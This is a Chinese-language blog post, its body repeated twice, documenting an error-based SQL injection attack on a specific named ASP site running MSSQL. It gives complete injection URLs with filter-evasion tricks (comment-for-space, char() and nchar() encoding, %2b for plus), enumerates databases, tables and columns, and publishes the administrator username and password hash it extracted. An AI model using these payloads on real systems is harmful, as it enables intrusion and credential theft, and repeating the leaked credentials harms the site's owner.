mssql有趣的注入 - niexinming
這個注入點:http://www.mydcis.net/temp.asp?ID=1
這個網站有sql注入,但是他會攔截空格,單引號,分號,而且括號後面不能有字母,如果有的話,他會攔截,並且提示:
本操作將可能危害資料安全, 請確認你提交的資訊。
有任何問題請聯絡系統管理員。
首先用order by 探測欄位數,發現有45個欄位,這個手工不太適合,但是這個網站可以顯錯,所以,我們用報錯注入
【1】首先我們看看他是什麼版本的資料庫,
http://www.mydcis.net/temp.asp?ID=@@version
由於這個是數字型的注入,所以我們不用引號將其閉合,而且我們在這裡直接輸入@@vesion就會報錯
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
【2】當前資料庫:
http://www.mydcis.net/temp.asp?ID=db_name()
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'Web' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這裡有個小技巧,就是向db_name()中傳遞引數可以查其他的資料庫,比如:
http://www.mydcis.net/temp.asp?ID=db_name(1)
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'master' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個遞增這個數字就可以查詢了
【2】我們查詢Web的表,也就是當前資料庫的表:
由於不能使用單引號,所以,
select top 1 name from 資料庫.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('表名')
這樣的就用不了,我們這個時候就要用到資料庫的分頁查詢來遍歷資料庫的表名:
首先是是分頁的原理:
這個帖子http://www.cnblogs.com/Bulid-For-NET/archive/2012/12/16/2820097.html
裡面列舉了四種分頁的效果
我選
select top 10 *
from
(
select row_number() over(order by id) as rownumber,* from test
) A
where rownumber > 40
這個方法來做分頁
於是我們可以這樣爆第一個表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '上傳檔案' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
爆第二個表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '友情連結' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
然後我爆到了:管理帳戶,這個表
對了,這裡有個小技巧,就是,上面爆表中的其中有有一個地方本來是這樣寫的where type='U',但是由於不能出單引號,所以要這樣寫:
where type=char(85)
【3】爆欄位:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,*/**/from/**/Web.information_schema.columns/**/where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '使用者名稱' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個有個小技巧,由於這裡的表名是中文:
所以,我們查表的時候:要用到sql server的unicode和nchar這兩個函式
首先,我們在sql server中的企業管理器中查詢做這樣的查詢:select unicode('管'),得到的結果是 31649,然後我們依次查詢出來:
“管理帳戶”這四個字的值:
然後我們再用四個值用nchar 轉換出來看看效果:
select NCHAR(31649)+NCHAR(29702)+nchar(24080)+nchar(25143)
結果:
管理賬戶
ok,好了,就這樣拼到“where TABLE_NAME=”
後面做查詢。
這裡依然有個小技巧:
在實際注入的時候不能使用“+”這個符號
要用%2b做代替
我爆到資料庫 Web,表為:管理帳戶 的欄位為:
編號 使用者名稱 前臺使用者名稱 密碼 姓名 電話 最後時間 網站程式碼
【4】爆資料:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/%b9%dc%c0%ed%d5%ca%bb%a7)>0
由於這裡面的表名和欄位名都是中文
所以我們在這裡做一些urlencode編碼的轉換
http://tool.chinaz.com/Tools/URLEncode.aspx
這個網站提供這樣的轉換,我們在這裡選擇gb2312,然後將中文轉換為對應的url編碼
然後就可以查出資料了:
使用者名稱:
stgst
密碼:
3f9aa31e9b129d97
這個網站有sql注入,但是他會攔截空格,單引號,分號,而且括號後面不能有字母,如果有的話,他會攔截,並且提示:
本操作將可能危害資料安全, 請確認你提交的資訊。
有任何問題請聯絡系統管理員。
首先用order by 探測欄位數,發現有45個欄位,這個手工不太適合,但是這個網站可以顯錯,所以,我們用報錯注入
【1】首先我們看看他是什麼版本的資料庫,
http://www.mydcis.net/temp.asp?ID=@@version
由於這個是數字型的注入,所以我們不用引號將其閉合,而且我們在這裡直接輸入@@vesion就會報錯
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'Microsoft SQL Server 2005 - 9.00.1399.06 (X64) Oct 14 2005 00:35:21 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) ' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
【2】當前資料庫:
http://www.mydcis.net/temp.asp?ID=db_name()
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'Web' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這裡有個小技巧,就是向db_name()中傳遞引數可以查其他的資料庫,比如:
http://www.mydcis.net/temp.asp?ID=db_name(1)
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 'master' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個遞增這個數字就可以查詢了
【2】我們查詢Web的表,也就是當前資料庫的表:
由於不能使用單引號,所以,
select top 1 name from 資料庫.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('表名')
這樣的就用不了,我們這個時候就要用到資料庫的分頁查詢來遍歷資料庫的表名:
首先是是分頁的原理:
這個帖子http://www.cnblogs.com/Bulid-For-NET/archive/2012/12/16/2820097.html
裡面列舉了四種分頁的效果
我選
select top 10 *
from
(
select row_number() over(order by id) as rownumber,* from test
) A
where rownumber > 40
這個方法來做分頁
於是我們可以這樣爆第一個表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=1/**/and/**/rownumber<=1)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '上傳檔案' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
爆第二個表:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/name/**/from/**/(/**/select/**/row_number()/**/over(/**/order/**/by/**/object_id)/**/as/**/rownumber,*/**/from/**/Web.sys.all_objects/**/where/**/type=char(85))A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '友情連結' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
然後我爆到了:管理帳戶,這個表
對了,這裡有個小技巧,就是,上面爆表中的其中有有一個地方本來是這樣寫的where type='U',但是由於不能出單引號,所以要這樣寫:
where type=char(85)
【3】爆欄位:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/COLUMN_NAME/**/from(/**/select/**/row_number()/**/over(/**/order/**/by/**/ORDINAL_POSITION)/**/as/**/rownumber,*/**/from/**/Web.information_schema.columns/**/where/**/TABLE_NAME=NCHAR(31649)%2bNCHAR(29702)%2bnchar(24080)%2bnchar(25143))/**/A/**/where/**/rownumber>=2/**/and/**/rownumber<=2)>0
報錯資訊:
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
在將 nvarchar 值 '使用者名稱' 轉換成資料型別 int 時失敗。
/temp.asp,行 25
這個有個小技巧,由於這裡的表名是中文:
所以,我們查表的時候:要用到sql server的unicode和nchar這兩個函式
首先,我們在sql server中的企業管理器中查詢做這樣的查詢:select unicode('管'),得到的結果是 31649,然後我們依次查詢出來:
“管理帳戶”這四個字的值:
然後我們再用四個值用nchar 轉換出來看看效果:
select NCHAR(31649)+NCHAR(29702)+nchar(24080)+nchar(25143)
結果:
管理賬戶
ok,好了,就這樣拼到“where TABLE_NAME=”
後面做查詢。
這裡依然有個小技巧:
在實際注入的時候不能使用“+”這個符號
要用%2b做代替
我爆到資料庫 Web,表為:管理帳戶 的欄位為:
編號 使用者名稱 前臺使用者名稱 密碼 姓名 電話 最後時間 網站程式碼
【4】爆資料:
http://www.mydcis.net/temp.asp?ID=1/**/And/**/(/**/select/**/top/**/1/**/%d3%c3%bb%a7%c3%fb/**/from/**/%b9%dc%c0%ed%d5%ca%bb%a7)>0
由於這裡面的表名和欄位名都是中文
所以我們在這裡做一些urlencode編碼的轉換
http://tool.chinaz.com/Tools/URLEncode.aspx
這個網站提供這樣的轉換,我們在這裡選擇gb2312,然後將中文轉換為對應的url編碼
然後就可以查出資料了:
使用者名稱:
stgst
密碼:
3f9aa31e9b129d97
相關文章
- mssql 手工注入流程小結SQL
- Mssql高階注入筆記(轉)SQL筆記
- 怎樣才能給人工智慧注入有趣的靈魂?人工智慧
- 注入mssql後使用儲存過程讀寫任意檔案SQL儲存過程
- 有趣的cssCSS
- 有趣的翻譯
- 有趣的桶排序排序
- MSSQL-xp_cmdshell 的利用SQL
- [MSSQL]mssql海量高效分頁儲存過程SQL儲存過程
- MSSQL---extentsSQL
- mssql程式塊SQL
- 反向代理的有趣用法
- 有趣的DBA面試題面試題
- 一個有趣的sqlSQL
- 有趣的html頁面HTML
- 有趣的演算法演算法
- MSSQL中的日期減價法SQL
- 【MSSQL】MSSQL 從Express版本升級到Enterprise版本SQLExpress
- 常用MSSQL語句SQL
- GoldenGate GETTRUNCATES MSSQLGoSQL
- MSSQL Rebuild(重建)索引SQLRebuild索引
- Spring注入:配置注入(set注入和構造器注入)與註解注入Spring
- 有趣的程式碼註釋
- 有趣的CSS彈跳動畫CSS動畫
- 有趣的正則填字遊戲遊戲
- 有趣的數學公式(一)公式
- 有趣的程式碼攻防戰
- Python有趣的小案例Python
- 有趣常用的linux命令Linux
- 有趣的觸發器事件觸發器事件
- shellsort排序有趣的試驗排序
- 有意思、有趣的文字
- MSSQL授權的問題-架構SQL架構
- 原來MSSQL也有shutdown的狀態SQL
- 有用mssql2k成功的嗎SQL
- 一個有關mssql鎖的帖子SQL
- SQL 注入:聯合注入SQL
- sql注入之union注入SQL